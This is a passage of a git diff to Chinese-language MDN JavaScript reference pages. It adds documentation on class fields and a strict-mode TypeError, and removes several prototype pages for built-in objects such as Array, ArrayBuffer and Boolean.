- - diff --git a/files/zh-cn/web/javascript/reference/classes/public_class_fields/index.html b/files/zh-cn/web/javascript/reference/classes/public_class_fields/index.html new file mode 100644 index 0000000000..fb8c618a9b --- /dev/null +++ b/files/zh-cn/web/javascript/reference/classes/public_class_fields/index.html @@ -0,0 +1,352 @@ +--- +title: 类元素 +slug: Web/JavaScript/Reference/Classes/Class_elements +tags: + - Class + - JavaScript + - 类 +translation_of: Web/JavaScript/Reference/Classes/Public_class_fields +--- +
{{JsSidebar("Classes")}}
+ +
公有(public)和私有(private)字段声明是一个JavaScript标准委员会TC39提议的试验性功能 (第3阶段)。这项功能在浏览器中的支持还受限,但你可以通过Babel等构建系统来使用它。参见下面的兼容性信息
+ +

公有字段

+ +

静态公有字段和实例公有字段都是可编辑的,可遍历的,可配置的。它们本身不同于私有对应值(private counterparts)的是,它们参与原型的继承。

+ +

静态公有字段

+ +

静态公有字段在你想要创建一个只在每个类里面只存在一份,而不会存在于你创建的每个类的实例中的属性时可以用到。你可以用它存放缓存数据、固定结构数据或者其他你不想在所有实例都复制一份的数据。

+ +

静态公有字段是使用关键字 static 声明的。我们在声明一个类的时候,使用Object.defineProperty方法将静态公有字段添加到类的构造函数中。在类被声明之后,可以从类的构造函数访问静态公有字段。

+ +
class ClassWithStaticField {
+  static staticField = 'static field';
+}
+
+console.log(ClassWithStaticField.staticField);
+// 预期输出值: "static field"​
+
+ +

没有设定初始化程序的字段将默认被初始化为undefined

+ +
class ClassWithStaticField {
+  static staticField;
+}
+
+console.assert(ClassWithStaticField.hasOwnProperty('staticField'));
+console.log(ClassWithStaticField.staticField);
+// 预期输出值: "undefined"
+ +

静态公有字段不会在子类里重复初始化,但我们可以通过原型链访问它们。

+ +
class ClassWithStaticField {
+  static baseStaticField = 'base field';
+}
+
+class SubClassWithStaticField extends ClassWithStaticField {
+  static subStaticField = 'sub class field';
+}
+
+console.log(SubClassWithStaticField.subStaticField);
+// 预期输出值: "sub class field"
+
+console.log(SubClassWithStaticField.baseStaticField);
+// 预期输出值: "base field"
+ +

当初始化字段时,this指向的是类的构造函数。你可以通过名字引用构造函数,并使用super获取到存在的超类构造函数。

+ +
class ClassWithStaticField {
+  static baseStaticField = 'base static field';
+  static anotherBaseStaticField = this.baseStaticField;
+
+  static baseStaticMethod() { return 'base static method output'; }
+}
+
+class SubClassWithStaticField extends ClassWithStaticField {
+  static subStaticField = super.baseStaticMethod();
+}
+
+console.log(ClassWithStaticField.anotherBaseStaticField);
+// 预期输出值: "base static field"
+
+console.log(SubClassWithStaticField.subStaticField);
+// 预期输出值: "base static method output"
+
+ +

公有实例字段

+ +

公有实例字段存在于类的每一个实例中。通过声明一个公有字段,我们可以确保该字段一直存在,而类的定义则会更加像是自我描述。

+ +

公有实例字段可以在基类的构造过程中(构造函数主体运行前)使用Object.defineProperty添加,也可以在子类构造函数中的super()函数结束后添加。

+ +
class ClassWithInstanceField {
+  instanceField = 'instance field';
+}
+
+const instance = new ClassWithInstanceField();
+console.log(instance.instanceField);
+// 预期输出值: "instance field"
+ +

没有设定初始化程序的字段将默认被初始化为undefined

+ +
class ClassWithInstanceField {
+  instanceField;
+}
+
+const instance = new ClassWithInstanceField();
+console.assert(instance.hasOwnProperty('instanceField'));
+console.log(instance.instanceField);
+// 预期输出值: "undefined"
+ +

和属性(properties)一样,字段名可以由计算得出。

+ +
const PREFIX = 'prefix';
+
+class ClassWithComputedFieldName {
+    [`${PREFIX}Field`] = 'prefixed field';
+}
+
+const instance = new ClassWithComputedFieldName();
+console.log(instance.prefixField);
+// 预期输出值: "prefixed field"
+ +

当初始化字段时,this指向的是类正在构造中的实例。和公共实例方法相同的是:你可以在子类中使用super来访问超类的原型。

+ +
class ClassWithInstanceField {
+  baseInstanceField = 'base field';
+  anotherBaseInstanceField = this.baseInstanceField;
+  baseInstanceMethod() { return 'base method output'; }
+}
+
+class SubClassWithInstanceField extends ClassWithInstanceField {
+  subInstanceField = super.baseInstanceMethod();
+}
+
+const base = new ClassWithInstanceField();
+const sub = new SubClassWithInstanceField();
+
+console.log(base.anotherBaseInstanceField);
+// 预期输出值: "base field"
+
+console.log(sub.subInstanceField);
+// 预期输出值: "base method output"
+ +

公共方法

+ +

静态公共方法

+ +

关键字static将为一个类定义一个静态方法。静态方法不会在实例中被调用,而只会被类本身调用。它们经常是工具函数,比如用来创建或者复制对象。

+ +

{{EmbedInteractiveExample("pages/js/classes-static.html")}}

+ + + +

静态方法是在类的赋值阶段用Object.defineProperty方法添加到类中的。静态方法是可编辑的、不可遍历的和可配置的。

+ +

公共实例方法

+ +

正如其名,公共实例方法是可以在类的实例中使用的。

+ +
class ClassWithPublicInstanceMethod {
+  publicMethod() {
+    return 'hello world';
+  }
+}
+
+const instance = new ClassWithPublicInstanceMethod();
+console.log(instance.publicMethod());
+// 预期输出值: "hello worl​d"
+ +

公共实例方法是在类的赋值阶段用Object.defineProperty方法添加到类中的。静态方法是可编辑的、不可遍历的和可配置的。

+ +

你可以使用生成器(generator)、异步和异步生成器方法。

+ +
class ClassWithFancyMethods {
+  *generatorMethod() { }
+  async asyncMethod() { }
+  async *asyncGeneratorMethod() { }
+}
+ +

在实例的方法中,this指向的是实例本身,你可以使用super访问到超类的原型,由此你可以调用超类的方法。

+ +
class BaseClass {
+  msg = 'hello world';
+  basePublicMethod() {
+    return this.msg;
+  }
+}
+
+class SubClass extends BaseClass {
+  subPublicMethod() {
+    return super.basePublicMethod();
+  }
+}
+
+const instance = new SubClass();
+console.log(instance.subPublicMethod());
+// 预期输出值: "hello worl​d"
+
+ +

gettersetter是和类的属性绑定的特殊方法,分别会在其绑定的属性被取值、赋值时调用。使用getset句法定义实例的公共gettersetter

+ +
class ClassWithGetSet {
+  #msg = 'hello world';
+  get msg() {
+    return this.#msg;
+  }
+  set msg(x) {
+    this.#msg = `hello ${x}`;
+  }
+}
+
+const instance = new ClassWithGetSet();
+console.log(instance.msg);
+// expected output: "hello worl​d"
+
+instance.msg = 'cake';
+console.log(instance.msg);
+// 预期输出值: "hello cake"
+
+ +

私有字段

+ +

静态私有字段

+ +

静态私有字段可以在类声明本身内部的构造函数上被访问到。

+ +

静态变量只能被静态方法访问的限制依然存在。

+ +
class ClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD;
+
+  static publicStaticMethod() {
+    ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD = 42;
+    return ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD;
+  }
+}
+
+assert(ClassWithPrivateStaticField.publicStaticMethod() === 42);
+ +

静态私有字段是在类赋值的时候被添加到类构造函数中的。

+ +

静态私有字段有一个来源限制。只有定义静态私有字段的类可以访问该字段。这在使用this时,可能会导致不符合预期的行为。

+ +
class BaseClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD;
+
+  static basePublicStaticMethod() {
+    this.#PRIVATE_STATIC_FIELD = 42;
+    return this.#PRIVATE_STATIC_FIELD;
+  }
+}
+
+class SubClass extends BaseClassWithPrivateStaticField { }
+
+assertThrows(() => SubClass.basePublicStaticMethod(), TypeError);
+
+ +

私有实例字段

+ +

私有实例字段是通过# names句型(读作“哈希名称”)声明的,即为识别符加一个前缀“#”。“#”是名称的一部分,也用于访问和声明。

+ +

封装是语言强制实施的。引用不在作用域内的 # names 是语法错误。

+ +
class ClassWithPrivateField {
+  #privateField;
+
+  constructor() {
+    this.#privateField = 42;
+    this.#randomField = 666; # Syntax error
+  }
+}
+
+const instance = new ClassWithPrivateField();
+instance.#privateField === 42; // Syntax error
+
+ +

私有方法

+ +

静态私有方法

+ +

和静态公共方法一样,静态私有方法也是在类里面而非实例中调用的。和静态私有字段一样,它们也只能在类的声明中访问。

+ +

你可以使用生成器(generator)、异步和异步生成器方法。

+ +

静态私有方法可以是生成器、异步或者异步生成器函数。

+ +
class ClassWithPrivateStaticMethod {
+    static #privateStaticMethod() {
+        return 42;
+    }
+
+    static publicStaticMethod() {
+        return ClassWithPrivateStaticMethod.#privateStaticMethod();
+    }
+}
+
+assert(ClassWithPrivateStaticMethod.publicStaticMethod() === 42);
+
+ +

私有实例方法

+ +

私有实例方法在类的实例中可用,它的访问方式的限制和私有实例字段相同。

+ +
class ClassWithPrivateMethod {
+  #privateMethod() {
+    return 'hello world';
+  }
+
+  getPrivateMessage() {
+      return #privateMethod();
+  }
+}
+
+const instance = new ClassWithPrivateMethod();
+console.log(instance.getPrivateMessage());
+// 预期输出值: "hello worl​d"
+ +

私有实例方法可以是生成器、异步或者异步生成器函数。私有gettersetter也是可能的:

+ +
class ClassWithPrivateAccessor {
+  #message;
+
+  get #decoratedMessage() {
+    return `✨${this.#message}✨`;
+  }
+  set #decoratedMessage(msg) {
+    this.#message = msg;
+  }
+
+  constructor() {
+    this.#decoratedMessage = 'hello world';
+    console.log(this.#decoratedMessage);
+  }
+}
+
+new ClassWithPrivateAccessor();
+// 预期输出值: "✨hello worl​d✨"
+
+ +

浏览器兼容性

+ +

公共类字段

+ + + +

{{Compat("javascript.classes.public_class_fields")}}

+ +

私有类字段

+ + + +

{{Compat("javascript.classes.private_class_fields")}}

+ +

另请参考:

+ + diff --git a/files/zh-cn/web/javascript/reference/errors/cant_assign_to_property/index.html b/files/zh-cn/web/javascript/reference/errors/cant_assign_to_property/index.html new file mode 100644 index 0000000000..cceeb330c4 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/errors/cant_assign_to_property/index.html @@ -0,0 +1,52 @@ +--- +title: 'TypeError: can''t assign to property "x" on "y": not an object' +slug: Web/JavaScript/Reference/Errors/不能添加属性 +translation_of: Web/JavaScript/Reference/Errors/Cant_assign_to_property +--- +
{{jsSidebar("Errors")}}
+ +

信息

+ +
TypeError: can't assign to property "x" on {y}: not an object (Firefox)
+TypeError: Cannot create property 'x' on {y} (Chrome)
+
+ +

错误类型

+ +

{{jsxref("TypeError")}}.

+ +

原因

+ +

在 {{jsxref("Strict_mode")}}下, 当试图给一个{{Glossary("symbol")}},{{Glossary("string")}},{{Glossary("number")}}或者一个{{Glossary("boolean")}}类型的数据创建一个属性时就会报 {{jsxref("TypeError")}}, 任何 {{Glossary("Primitive")}} 值都不允许有{{Glossary("property/JavaScript", "property")}}.

+ +

这个问题可能是由一个错误的值被放在了一个错误的地方导致的, 或者预期{{jsxref("String")}}或{{jsxref("Number")}}的对象变体

+ +

 

+ +

示例

+ +

错误的情况

+ +
'use strict';
+
+var foo = "my string";
+// 下面这行代码在非严格模式下不会执行.
+foo.bar = {}; // TypeError: can't assign to property "bar" on "my string": not an object
+
+ +

如何正确使用

+ +

有两种方式, 第一种修复这部分代码阻止{{Glossary("primitive")}}被用于这种情况, 或者可以通过使用对象构造器创建来修复.

+ +
'use strict';
+
+var foo = new String("my string");
+foo.bar = {};
+
+ +

页面相关

+ +
    +
  • {{jsxref("Strict_mode")}}
  • +
  • {{Glossary("primitive")}}
  • +
diff --git "a/files/zh-cn/web/javascript/reference/errors/\344\270\215\350\203\275\346\267\273\345\212\240\345\261\236\346\200\247/index.html" "b/files/zh-cn/web/javascript/reference/errors/\344\270\215\350\203\275\346\267\273\345\212\240\345\261\236\346\200\247/index.html" deleted file mode 100644 index cceeb330c4..0000000000 --- "a/files/zh-cn/web/javascript/reference/errors/\344\270\215\350\203\275\346\267\273\345\212\240\345\261\236\346\200\247/index.html" +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: 'TypeError: can''t assign to property "x" on "y": not an object' -slug: Web/JavaScript/Reference/Errors/不能添加属性 -translation_of: Web/JavaScript/Reference/Errors/Cant_assign_to_property ---- -
{{jsSidebar("Errors")}}
- -

信息

- -
TypeError: can't assign to property "x" on {y}: not an object (Firefox)
-TypeError: Cannot create property 'x' on {y} (Chrome)
-
- -

错误类型

- -

{{jsxref("TypeError")}}.

- -

原因

- -

在 {{jsxref("Strict_mode")}}下, 当试图给一个{{Glossary("symbol")}},{{Glossary("string")}},{{Glossary("number")}}或者一个{{Glossary("boolean")}}类型的数据创建一个属性时就会报 {{jsxref("TypeError")}}, 任何 {{Glossary("Primitive")}} 值都不允许有{{Glossary("property/JavaScript", "property")}}.

- -

这个问题可能是由一个错误的值被放在了一个错误的地方导致的, 或者预期{{jsxref("String")}}或{{jsxref("Number")}}的对象变体

- -

 

- -

示例

- -

错误的情况

- -
'use strict';
-
-var foo = "my string";
-// 下面这行代码在非严格模式下不会执行.
-foo.bar = {}; // TypeError: can't assign to property "bar" on "my string": not an object
-
- -

如何正确使用

- -

有两种方式, 第一种修复这部分代码阻止{{Glossary("primitive")}}被用于这种情况, 或者可以通过使用对象构造器创建来修复.

- -
'use strict';
-
-var foo = new String("my string");
-foo.bar = {};
-
- -

页面相关

- -
    -
  • {{jsxref("Strict_mode")}}
  • -
  • {{Glossary("primitive")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/array/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/array/prototype/index.html deleted file mode 100644 index 31d65bf734..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/array/prototype/index.html +++ /dev/null @@ -1,178 +0,0 @@ ---- -title: Array.prototype -slug: Web/JavaScript/Reference/Global_Objects/Array/prototype -tags: - - Array.prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Array/prototype ---- -
{{JSRef}}
- -

Array.prototype  属性表示 {{jsxref("Array")}} 构造函数的原型,并允许您向所有Array对象添加新的属性和方法。

- -
/*
-如果JavaScript本身不提供 first() 方法,
-添加一个返回数组的第一个元素的新方法。
-*/
-
-if(!Array.prototype.first) {
-    Array.prototype.first = function() {
-        console.log(`如果JavaScript本身不提供 first() 方法,
-添加一个返回数组的第一个元素的新方法。`);
-        return this[0];
-    }
-}
-
- -

描述

- -

{{jsxref("Array")}}实例继承自 Array.prototype 。与所有构造函数一样,您可以更改构造函数的原型对象,以对所有 {{jsxref("Array")}} 实例进行更改。例如,可以添加新方法和属性以扩展所有Array对象。这用于 {{Glossary("Polyfill", "polyfilling")}}, 例如。

- -

鲜为人知的事实:Array.prototype 本身也是一个 {{jsxref("Array")}}。

- -
Array.isArray(Array.prototype);
-// true
-
- -

{{js_property_attributes(0, 0, 0)}}

- -

属性

- -
-
Array.prototype.constructor
-
所有的数组实例都继承了这个属性,它的值就是 {{jsxref("Array")}},表明了所有的数组都是由 {{jsxref("Array")}} 构造出来的。
-
{{jsxref("Array.prototype.length")}}
-
上面说了,因为 Array.prototype 也是个数组,所以它也有 length 属性,这个值为 0,因为它是个空数组。
-
- -

方法

- -

会改变自身的方法

- -

下面的这些方法会改变调用它们的对象自身的值:

- -
-
{{jsxref("Array.prototype.copyWithin()")}} {{experimental_inline}}
-
在数组内部,将一段元素序列拷贝到另一段元素序列上,覆盖原有的值。
-
{{jsxref("Array.prototype.fill()")}} {{experimental_inline}}
-
将数组中指定区间的所有元素的值,都替换成某个固定的值。
-
{{jsxref("Array.prototype.pop()")}}
-
删除数组的最后一个元素,并返回这个元素。
-
{{jsxref("Array.prototype.push()")}}
-
在数组的末尾增加一个或多个元素,并返回数组的新长度。
-
{{jsxref("Array.prototype.reverse()")}}
-
颠倒数组中元素的排列顺序,即原先的第一个变为最后一个,原先的最后一个变为第一个。
-
{{jsxref("Array.prototype.shift()")}}
-
删除数组的第一个元素,并返回这个元素。
-
{{jsxref("Array.prototype.sort()")}}
-
对数组元素进行排序,并返回当前数组。
-
{{jsxref("Array.prototype.splice()")}}
-
在任意的位置给数组添加或删除任意个元素。
-
{{jsxref("Array.prototype.unshift()")}}
-
在数组的开头增加一个或多个元素,并返回数组的新长度。
-
- -

不会改变自身的方法

- -

下面的这些方法绝对不会改变调用它们的对象的值,只会返回一个新的数组或者返回一个其它的期望值。

- -
-
{{jsxref("Array.prototype.concat()")}}
-
返回一个由当前数组和其它若干个数组或者若干个非数组值组合而成的新数组。
-
{{jsxref("Array.prototype.includes()")}} {{experimental_inline}}
-
判断当前数组是否包含某指定的值,如果是返回 true,否则返回 false
-
{{jsxref("Array.prototype.join()")}}
-
连接所有数组元素组成一个字符串。
-
{{jsxref("Array.prototype.slice()")}}
-
抽取当前数组中的一段元素组合成一个新数组。
-
{{jsxref("Array.prototype.toSource()")}} {{non-standard_inline}}
-
返回一个表示当前数组字面量的字符串。遮蔽了原型链上的 {{jsxref("Object.prototype.toSource()")}} 方法。
-
{{jsxref("Array.prototype.toString()")}}
-
返回一个由所有数组元素组合而成的字符串。遮蔽了原型链上的 {{jsxref("Object.prototype.toString()")}} 方法。
-
{{jsxref("Array.prototype.toLocaleString()")}}
-
返回一个由所有数组元素组合而成的本地化后的字符串。遮蔽了原型链上的 {{jsxref("Object.prototype.toLocaleString()")}} 方法。
-
{{jsxref("Array.prototype.indexOf()")}}
-
返回数组中第一个与指定值相等的元素的索引,如果找不到这样的元素,则返回 -1。
-
{{jsxref("Array.prototype.lastIndexOf()")}}
-
返回数组中最后一个(从右边数第一个)与指定值相等的元素的索引,如果找不到这样的元素,则返回 -1。
-
- -

遍历方法

- -

在下面的众多遍历方法中,有很多方法都需要指定一个回调函数作为参数。在每一个数组元素都分别执行完回调函数之前,数组的length属性会被缓存在某个地方,所以,如果你在回调函数中为当前数组添加了新的元素,那么那些新添加的元素是不会被遍历到的。此外,如果在回调函数中对当前数组进行了其它修改,比如改变某个元素的值或者删掉某个元素,那么随后的遍历操作可能会受到未预期的影响。总之,不要尝试在遍历过程中对原数组进行任何修改,虽然规范对这样的操作进行了详细的定义,但为了可读性和可维护性,请不要这样做。

- -
-
{{jsxref("Array.prototype.forEach()")}}
-
为数组中的每个元素执行一次回调函数。
-
{{jsxref("Array.prototype.entries()")}} {{experimental_inline}}
-
返回一个数组迭代器对象,该迭代器会包含所有数组元素的键值对。
-
{{jsxref("Array.prototype.every()")}}
-
如果数组中的每个元素都满足测试函数,则返回 true,否则返回 false。
-
{{jsxref("Array.prototype.some()")}}
-
如果数组中至少有一个元素满足测试函数,则返回 true,否则返回 false。
-
{{jsxref("Array.prototype.filter()")}}
-
将所有在过滤函数中返回 true 的数组元素放进一个新数组中并返回。
-
{{jsxref("Array.prototype.find()")}} {{experimental_inline}}
-
找到第一个满足测试函数的元素并返回那个元素的值,如果找不到,则返回 undefined
-
{{jsxref("Array.prototype.findIndex()")}} {{experimental_inline}}
-
找到第一个满足测试函数的元素并返回那个元素的索引,如果找不到,则返回 -1
-
{{jsxref("Array.prototype.keys()")}} {{experimental_inline}}
-
返回一个数组迭代器对象,该迭代器会包含所有数组元素的键。
-
{{jsxref("Array.prototype.map()")}}
-
返回一个由回调函数的返回值组成的新数组。
-
{{jsxref("Array.prototype.reduce()")}}
-
从左到右为每个数组元素执行一次回调函数,并把上次回调函数的返回值放在一个暂存器中传给下次回调函数,并返回最后一次回调函数的返回值。
-
{{jsxref("Array.prototype.reduceRight()")}}
-
从右到左为每个数组元素执行一次回调函数,并把上次回调函数的返回值放在一个暂存器中传给下次回调函数,并返回最后一次回调函数的返回值。
-
{{jsxref("Array.prototype.values()")}} {{experimental_inline}}
-
返回一个数组迭代器对象,该迭代器会包含所有数组元素的值。
-
{{jsxref("Array.prototype.@@iterator()", "Array.prototype[@@iterator]()")}} {{experimental_inline}}
-
和上面的 values() 方法是同一个函数。
-
- -

通用方法

- -

在 JavaScript 中,很多的数组方法被故意设计成是通用的。也就是说,那些看起来像是数组的对象(类数组对象),即拥有一个 length 属性,以及对应的索引属性(也就是数字类型的属性,比如 obj[5])的非数组对象也是可以调用那些数组方法的。其中一些数组方法,比如说 {{jsxref("Array.join", "join")}} 方法,它们只会单纯的读取当前对象的 length 属性和索引属性的值,并不会尝试去改变这些属性的值。而另外一些数组方法,比如说 {{jsxref("Array.reverse", "reverse")}} 方法,它们会尝试修改那些属性的值,因此,如果当前对象是个 {{jsxref("String")}} 对象,那么这些方法在执行时就会报错,因为字符串对象的 length 属性和索引属性都是只读的。

- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition.
{{SpecName('ES5.1', '#sec-15.4.3.1', 'Array.prototype')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-array.prototype', 'Array.prototype')}}{{Spec2('ES6')}}
- -

浏览器兼容性

- -
-
- - -

{{Compat("javascript.builtins.Array.prototype")}}

-
-
- -

相关链接

- -
    -
  • {{jsxref("Array")}}
  • -
  • {{jsxref("Function.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/arraybuffer/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/arraybuffer/prototype/index.html deleted file mode 100644 index 92909dbef7..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/arraybuffer/prototype/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: ArrayBuffer.prototype -slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype -tags: - - ArrayBuffer -translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer -translation_of_original: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype ---- -
{{JSRef}}
- -

ArrayBuffer.prototype属性表示{{jsxref("ArrayBuffer")}}对象的原型。

- -
{{js_property_attributes(0,0,0)}}
- -
 
- -

描述

- -

ArrayBuffer 实例继承自ArrayBuffer.prototype。对所有的构造函数来说,你可以通过改变构造函数的原型对象来改变所有的ArrayBuffer实例。

- -

属性

- -
-
ArrayBuffer.prototype.constructor
-
指定函数,它创建一个对象的原型。其初始值是标准ArrayBuffer内置构造函数。
-
{{jsxref("ArrayBuffer.prototype.byteLength")}} {{readonlyInline}}
-
数组的字节大小。在数组创建时确定,并且不可变更。只读
-
- -

方法

- -
-
{{jsxref("ArrayBuffer.prototype.slice()")}}
-
返回一个新的 ArrayBuffer ,它的内容是这个 ArrayBuffer 的字节副本,从begin(包括),到end(不包括)。如果begin或end是负数,则指的是从数组末尾开始的索引,而不是从头开始。
-
- -

规范

- - - - - - - - - - - - - - -
规范状态备注
{{SpecName('ES6', '#sec-arraybuffer.prototype', 'ArrayBuffer.prototype')}}{{Spec2('ES6')}}初始定义
- -

浏览器兼容性

- - - -

{{Compat("javascript.builtins.ArrayBuffer.prototype")}}

- -

相关链接

- -
    -
  • {{jsxref("ArrayBuffer")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/asyncfunction/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/asyncfunction/prototype/index.html deleted file mode 100644 index 9a8678680a..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/asyncfunction/prototype/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: AsyncFunction.prototype -slug: Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype ---- -
{{JSRef}}
- -

AsyncFunction.prototype 属性表示 {{jsxref("AsyncFunction")}} 的原型对象。

- -

描述

- -

{{jsxref("AsyncFunction")}} 对象继承自 AsyncFunction.prototypeAsyncFunction.prototype 不能被修改。

- -

属性

- -
-
AsyncFunction.constructor
-
默认值为 {{jsxref("AsyncFunction")}}。
-
AsyncFunction.prototype[@@toStringTag]
-
返回 "AsyncFunction"。
-
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-async-function-constructor-prototype', 'AsyncFunction.prototype')}}{{Spec2('ESDraft')}}最初定义在ES2017.
- -

兼容性

- -
-
- - -

{{Compat("javascript.builtins.AsyncFunction.prototype")}}

-
-
- -

参见

- -
    -
  • {{jsxref("AsyncFunction")}}
  • -
  • {{jsxref("Function")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/asynciterator/index.html b/files/zh-cn/web/javascript/reference/global_objects/asynciterator/index.html deleted file mode 100644 index 9c14e462bd..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/asynciterator/index.html +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: AsyncIterator -slug: Web/JavaScript/Reference/Global_Objects/AsyncIterator -tags: - - 异步迭代器 - - 类 -translation_of: Web/JavaScript/Reference/Global_Objects/AsyncIterator ---- -

{{JSRef}}{{Draft}}

- -

AsyncIterator 全局对象是一个提供辅助方法的抽象类,与暴露在{{JSxRef("Array")}} 实例上的那些类似。

- -

构造函数

- -
-
{{JSxRef("AsyncIterator.AsyncIterator", "AsyncIterator()")}} 
-
一个抽象构造函数,仅能够通过 {{JSxRef("Operators/super", "super()")}} 来调用。
-
- -

属性

- -
-
AsyncIterator.prototype
-
%AsyncIteratorPrototype% 内部对象。
-
- -

方法

- -
-
{{JSxRef("AsyncIterator.from()")}} 
-
等同于在传入的对象上调用 @@asyncIterator 。
-
- -

AsyncIterator 原型

- -

原型属性

- -
-
AsyncIterator.prototype.constructor
-
指定创建对的象原型的函数.
-
AsyncIterator.prototype[@@toStringTag] 
-
字符串 "Iterator".
-
- -

原型方法

- -
-
{{JSxRef("AsyncIterator.prototype.map()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.filter()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.take()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.drop()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.asIndexedPairs()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.flatMap()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.reduce()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.toArray()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.forEach()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.some()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.every()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.find()")}} 
-
...
-
{{JSxRef("AsyncIterator.prototype.@@iterator()", "AsyncIterator.prototype[@@iterator]()")}}
-
返回该 AsyncIterator 实例。
-
- -

实现方法

- -
-
{{JSxRef("AsyncIterator.prototype.next()", "<implementation>.prototype.next()")}}
-
获取 AsyncIterator 中的下一项
-
{{JSxRef("AsyncIterator.prototype.return()", "<implementation>.prototype.next()")}}{{Optional_Inline}}
-
返回给出的值,并结束迭代。
-
{{JSxRef("AsyncIterator.prototype.throw()", "<implementation>.prototype.next()")}}{{Optional_Inline}}
-
抛出一个迭代器错误(同时也终止了迭代器,除非是在该迭代器内部被捕获)。
-
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
ESNext Iterator Helpers ProposalStage 2 DraftInitial definition
- -

浏览器兼容性

- - - -

{{Compat("javascript.builtins.AsyncIterator")}}

- -

另请参阅

- -
    -
  • {{JSxRef("Iteration_protocols", "Iteration protocols", "", "1")}}
  • -
  • {{JSxRef("Generator")}}
  • -
  • {{JSxRef("Global_Objects/AsyncGenerator", "AsyncGenerator")}}
  • -
  • {{JSxRef("Iterator")}} 
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/boolean/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/boolean/prototype/index.html deleted file mode 100644 index cb7f351bd1..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/boolean/prototype/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Boolean.prototype -slug: Web/JavaScript/Reference/Global_Objects/Boolean/prototype -tags: - - Boolean - - JavaScript - - Property - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Boolean -translation_of_original: Web/JavaScript/Reference/Global_Objects/Boolean/prototype ---- -

{{JSRef}}

- -

Boolean.prototype 属性表示{{jsxref("Boolean")}} 构造函数的原型。

- -
{{js_property_attributes(0,0,0)}}
- -

描述

- -

{{jsxref("Boolean")}}实例继承自Boolean.prototype。你可以使用构造函数的原型对象向所有{{jsxref("Boolean")}}实例添加属性或方法。

- -

属性

- -
-
Boolean.prototype.constructor
-
返回创建了实例原型的函数。默认为{{jsxref("Boolean")}}函数。
-
- -

方法

- -
-
{{jsxref("Boolean.prototype.toSource()")}} {{ Non-standard_inline() }}
-
返回包含{{jsxref("Boolean")}}对象源码的字符串;你可以使用这个字符串来创建一个等价的对象。覆盖了{{jsxref("Object.prototype.toSource()")}} 方法。
-
{{jsxref("Boolean.prototype.toString()")}}
-
根据对象的值来返回一个字符串:"true""false"。覆盖了 {{jsxref("Object.prototype.toString()")}} 方法。
-
{{jsxref("Boolean.prototype.valueOf()")}}
-
返回{{jsxref("Boolean")}}对象的原始值。覆盖了 {{jsxref("Object.prototype.valueOf()")}} 方法。
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition. Implemented in JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.6.3.1', 'Boolean.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-boolean.prototype', 'Boolean.prototype')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-boolean.prototype', 'Boolean.prototype')}}{{Spec2('ESDraft')}} 
- -

浏览器兼容

- - - -

{{Compat("javascript.builtins.Boolean.prototype")}}

diff --git a/files/zh-cn/web/javascript/reference/global_objects/dataview/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/dataview/prototype/index.html deleted file mode 100644 index 3285efa3d3..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/dataview/prototype/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: DataView.prototype -slug: Web/JavaScript/Reference/Global_Objects/DataView/prototype -tags: - - DataView属性 -translation_of: Web/JavaScript/Reference/Global_Objects/DataView -translation_of_original: Web/JavaScript/Reference/Global_Objects/DataView/prototype ---- -
{{JSRef}}
- -

DataView.prototype 表示{{jsxref("DataView")}}的原型

- -
{{js_property_attributes(0,0,0)}}
- -

描述

- -

